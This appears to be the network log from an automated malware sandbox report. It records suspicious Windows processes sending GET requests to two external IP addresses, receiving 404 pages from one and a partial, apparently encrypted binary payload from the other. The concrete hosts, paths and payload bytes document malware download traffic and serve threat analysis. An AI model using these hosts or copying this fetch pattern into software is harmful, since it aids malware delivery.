May 8, 2024 15:24:33.043720961 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:32 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
33	192.168.2.8	49761	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:31.229809046 CEST	166	OUT	GET /1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:24:31.584639072 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:31 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
34	192.168.2.8	49762	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:33.960163116 CEST	166	OUT	GET /2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:24:34.309627056 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:34 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
35	192.168.2.8	49764	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:36.700463057 CEST	166	OUT	GET /3 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:24:37.058093071 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:36 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
36	192.168.2.8	49765	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:39.447741032 CEST	166	OUT	GET /4 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:24:39.802493095 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:39 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
37	192.168.2.8	49766	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:42.656124115 CEST	166	OUT	GET /5 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:24:43.011125088 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:42 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
38	192.168.2.8	49768	91.202.233.141	80	5588	C:\Windows\sysbrapsvc.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:45.383446932 CEST	166	OUT	GET /6 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36 Host: 91.202.233.141
May 8, 2024 15:24:45.734081030 CEST	728	IN	HTTP/1.1 404 Not Found Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:45 GMT Content-Type: text/html Content-Length: 564 Connection: keep-alive Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 34 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 6e 67 69 6e 78 2f 31 2e 31 38 2e 30 20 28 55 62 75 6e 74 75 29 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 66 72 69 65 6e 64 6c 79 20 65 72 72 6f 72 20 70 61 67 65 20 2d 2d 3e 0d 0a 3c 21 2d 2d 20 61 20 70 61 64 64 69 6e 67 20 74 6f 20 64 69 73 61 62 6c 65 20 4d 53 49 45 20 61 6e 64 20 43 68 72 6f 6d 65 20 [TRUNCATED] Data Ascii: <html><head><title>404 Not Found</title></head><body><center><h1>404 Not Found</h1></center><hr><center>nginx/1.18.0 (Ubuntu)</center></body></html>... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->... a padding to disable MSIE and Chrome friendly error page -->

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
39	192.168.2.8	49772	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:55.958838940 CEST	167	OUT	GET /_1 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:24:56.300591946 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:56 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Wed, 08 May 2024 11:35:13 GMT Connection: keep-alive ETag: "663b6371-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> IngxCmFh{2Z7\|k\|`{E#&VV)A>G>#(#,#>KXF=p"iehp7wmt,TNUI~,~iP~V}flj7z_RJLdYKj<yDVTmT@G=GEQlk>nQi^a4\|Qp^<r49xLv_ [TRUNCATED]
May 8, 2024 15:24:56.300753117 CEST	1289	IN	Data Raw: c2 0b 7f 53 28 72 18 a7 0b ee 55 6f cb 3d 74 0d 0f 24 2a d4 e2 5e f1 11 0b 67 be e2 a9 95 d4 e3 1a 8a 33 c3 fb 3a 06 e7 5d 63 2c a9 76 a4 40 5b 95 94 55 4e 4f 9d 58 43 89 59 bb 37 cc 7f 1f 27 11 42 25 58 d1 91 c5 11 5e 4d dc 47 c6 41 78 cc c4 9f Data Ascii: S(rUo=t$^g3:]c,v@[UNOXCY7'B%X^MGAx-,-El4oc[Tp-%!Ch2)U]Rs;c2E-:-lO~i:2FM3vT&\|\|,A0&(,dT{[{>q87tP_V
May 8, 2024 15:24:56.300765991 CEST	1289	IN	Data Raw: 0a 77 7f 18 36 b7 b6 91 f6 e6 01 f7 fb 10 50 4a 85 63 ef 94 f5 60 b5 c8 06 c8 3d 64 69 da a8 6d 30 32 bf 1e 29 ff 8e c7 b9 25 0e f1 a7 27 9c 08 3d 52 af 70 5d 92 9b c2 a7 1b ca 81 72 a0 4e a1 bd 92 d3 71 a2 66 e1 25 b1 70 36 c3 d0 df c7 b3 11 ca Data Ascii: w6PJc`=dim02)%'=Rp]rNqf%p6/f ^v8M4E@jX5'3A!c@jW]l\|7dqsG8v^f']MKhR1HVE&9pX6@n4VX3DNi
May 8, 2024 15:24:56.300777912 CEST	1289	IN	Data Raw: 2a 80 d4 70 56 39 70 59 4d 0f e5 66 e8 46 12 cf 0a fe df f4 7c 25 6d 8f ac d6 8c 63 e2 2c af d7 d4 f1 79 23 96 79 70 f7 15 71 bf 22 00 5f b0 b7 32 f5 4d 1d cc 3f 86 c7 00 fa 71 80 a2 6f 15 92 cb d2 09 07 bf 39 61 4a 6d 1f f0 cf 9a b2 82 28 c8 65 Data Ascii: pV9pYMfF\|%mc,y#ypq"_2M?qo9aJm(eXpv=,a6o[C%9=cg78xpN&xh[l6R?LdL .[</.`;&1R/Q
May 8, 2024 15:24:56.300792933 CEST	1289	IN	Data Raw: a4 9d aa 76 a5 5b 73 c6 19 e8 80 c3 a4 48 a8 85 ca 88 43 82 67 d3 d6 66 0d 7a 36 34 64 b8 83 cc 98 a4 67 cf 4e 4f 4c 68 80 0c 75 9a 0c 85 a3 9c a5 bd 4a bc ea 47 7f b8 71 b4 9d a0 7b 9b 68 85 84 2c 86 b1 1b 7c 8a 14 67 c6 41 95 51 ff 3e 18 83 6f Data Ascii: v[sHCgfz64dgNOLhuJGq{h,\|gAQ>o5{91GaBJRq!_fRy*QCRWLbdTs@/ENA5)d{# o`k_<AiHqN,6eH )LTn^Qnyap)SaM
May 8, 2024 15:24:56.300806046 CEST	1289	IN	Data Raw: 57 ab c1 04 01 4b 78 e6 fc e2 60 39 58 67 cd 41 fc 8a 98 51 b7 4e 6b 4a 3f 87 57 5b 23 21 30 63 d3 6c 63 28 b8 9d ad 2a f5 dc 9b 65 17 ea 19 98 63 fc 8a 0d a7 60 46 fe bc 00 2c d3 b0 d9 d7 df 54 e5 97 00 01 e8 bb 31 c9 86 36 56 69 db 80 e2 55 b0 Data Ascii: WKx`9XgAQNkJ?W[#!0clc(*ec`F,T16ViUt[1"Y!?n{T\,\|q=q/0T?\QIjcv(JHJdc7-{-sc>d!ql#LqlrvD;`-w/IO:
May 8, 2024 15:24:56.300821066 CEST	1289	IN	Data Raw: 87 d2 44 52 54 d0 7c d3 ef bf 7d 15 8c 05 3e 44 a3 62 eb a9 16 ee 0a e7 ea b7 a4 36 c3 dd c3 ee cf 88 56 4c 2c e5 fd 02 ae 51 65 dc 04 6f dc 97 ca e5 49 9f 6a 7c b1 6c bb b7 39 b1 02 59 2f 47 11 1d c1 f7 34 ba c1 23 0c a5 17 8c cb 01 63 77 22 31 Data Ascii: DRT\|}>Db6VL,QeoIj\|l9Y/G4#cw"1A~.<ZBoD"`(W;`T73-"pI;Igk"DryYwDZMU(RRV)H:Z:{{5\rBn}oIq_7,>h.tV{r
May 8, 2024 15:24:56.300833941 CEST	465	IN	Data Raw: b3 d0 ab 1f 76 29 d1 74 b5 bf 97 38 a1 3e ac 4f 49 3d 20 20 c9 37 69 05 0b 00 02 b6 94 ee e9 61 47 a0 4c 0a 82 8b 91 eb 0c e8 22 83 fc 35 a8 61 47 af 8f 8f f9 0f 41 de 32 73 ff a9 08 b6 33 d9 ff a5 0e cc fc a2 24 bc 6c 9f 31 c5 e1 cc a1 02 e7 fc Data Ascii: v)t8>OI= 7iaGL"5aGA2s3$l1<ce uUK[OZL,NQLm]r.IDaKs%l!KHtqqbQ=sIIsmVd5ZY]X7uzEnSVNsp$!wmB

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
40	192.168.2.8	49774	185.215.113.66	80	2060	C:\Users\user\AppData\Local\Temp\1146722911.exe

Timestamp	Bytes transferred	Direction	Data
May 8, 2024 15:24:59.695621014 CEST	167	OUT	GET /_2 HTTP/1.1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36 Host: 185.215.113.66
May 8, 2024 15:25:00.037353992 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 08 May 2024 13:24:59 GMT Content-Type: application/octet-stream Content-Length: 9224 Last-Modified: Tue, 07 May 2024 18:30:40 GMT Connection: keep-alive ETag: "663a7350-2408" Accept-Ranges: bytes Data Raw: 4e 47 53 21 00 02 00 00 cc da 9c ef c1 96 97 c6 a6 fa 74 6e 9a a2 42 84 a8 83 88 1a b9 20 6d 57 1d 32 de db 10 4c 8c be 23 3a d0 0d 1a 7e 97 fc 31 4d da 46 81 5c 54 e1 4f ef 9c d7 8b 98 6d cf f6 fc 2f dd d0 3c e7 eb c9 01 dd 87 63 83 9d a7 ab c6 43 be 3b 55 fd 37 91 4c 34 55 8e 4d 2c 25 a9 37 be 5a c3 2f 4e eb de d4 96 5b 64 b4 cc 09 be 82 dd 50 f1 6f 53 e9 5c 18 4d ab a1 d8 5c 05 72 55 d1 39 79 8e 8f c0 92 cc a4 84 42 44 84 55 98 8d 35 a7 71 dd f3 7d cc 69 c7 1d ff 18 43 cb a8 42 76 bb da 5a 79 5d 6b c2 c5 f9 3a f6 e3 61 14 36 11 23 7d 5d 3b 29 e1 32 8f c8 5e 22 a3 94 cf 93 1b ce 69 76 8d 1a d6 b4 4e 17 c2 fc 6d 6f 5f 41 00 87 00 c1 5f 00 7a 90 23 9a 51 7e 6e ae bf 1f e4 d0 d3 05 f0 fc 12 6f 78 c3 a9 ca 71 9f 03 b0 4a 07 64 51 21 79 73 30 e4 81 db c9 bd 32 2d 2e 4e bb 64 35 3a 1e 08 41 ed 8e f2 82 df ca 88 fb cf 5a a9 2c 73 62 1a 32 e0 1d 0a 32 b4 69 31 73 bd 7a f9 be 30 a8 54 da ec 30 fb 26 08 4e 51 27 6a 3c b8 81 1a 42 af 5b 2e 70 90 d0 0b 79 f6 84 99 ba 95 ff f0 e9 82 3b 1b ec 96 ae 48 14 95 a7 [TRUNCATED] Data Ascii: NGS!tnB mW2L#:~1MF\TOm/<cC;U7L4UM,%7Z/N[dPoS\M\rU9yBDU5q}iCBvZy]k:a6#}];)2^"ivNmo_A_z#Q~noxqJdQ!ys02-.Nd5:AZ,sb22i1sz0T0&NQ'j<B[.py;H0<yKk6G\lNC=ct{MsThZXlT?S/Q0LfZW,Mif \AMF'bhlJ>xI2ZXeG)W8'QLTc=>Dw,NM?0N"!2 `_j8`Fy$D7EjYO&$b.o+zNANMeuumeBV5(%VhRYtNL(2=;DpsubxAl\|s,d2-E`pw *vh+GO> 